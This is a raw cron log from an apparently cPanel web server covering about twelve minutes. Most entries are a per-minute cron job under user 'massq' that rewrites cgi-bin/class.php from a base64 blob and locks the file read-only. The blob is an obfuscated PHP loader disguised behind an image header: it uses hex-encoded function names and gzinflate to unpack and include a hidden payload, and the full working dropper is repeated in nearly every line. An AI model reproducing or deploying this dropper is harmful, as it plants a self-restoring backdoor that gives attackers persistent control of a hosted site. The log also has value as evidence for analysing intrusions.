Nov 13 00:00:01 server CROND[6529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:01:01 server CROND[7633]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 00:01:01 server CROND[7634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:01:01 server run-parts(/etc/cron.hourly)[7633]: starting 0anacron
Nov 13 00:01:01 server anacron[7646]: Anacron started on 2025-11-13
Nov 13 00:01:01 server run-parts(/etc/cron.hourly)[7648]: finished 0anacron
Nov 13 00:01:01 server anacron[7646]: Normal exit (0 jobs run)
Nov 13 00:02:01 server CROND[8528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:03:01 server CROND[9566]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:04:01 server CROND[10459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:05:01 server CROND[11487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:05:01 server CROND[11488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:05:01 server CROND[11489]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:05:01 server CROND[11486]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 00:06:01 server CROND[12457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:07:01 server CROND[13257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:08:01 server CROND[14117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:09:01 server CROND[14988]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 00:09:01 server CROND[14989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:10:01 server CROND[15918]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 00:10:01 server CROND[15919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:10:01 server CROND[15920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:10:01 server CROND[15923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:11:01 server CROND[16997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:12:01 server CROND[17937]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:12:01 server CROND[17938]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
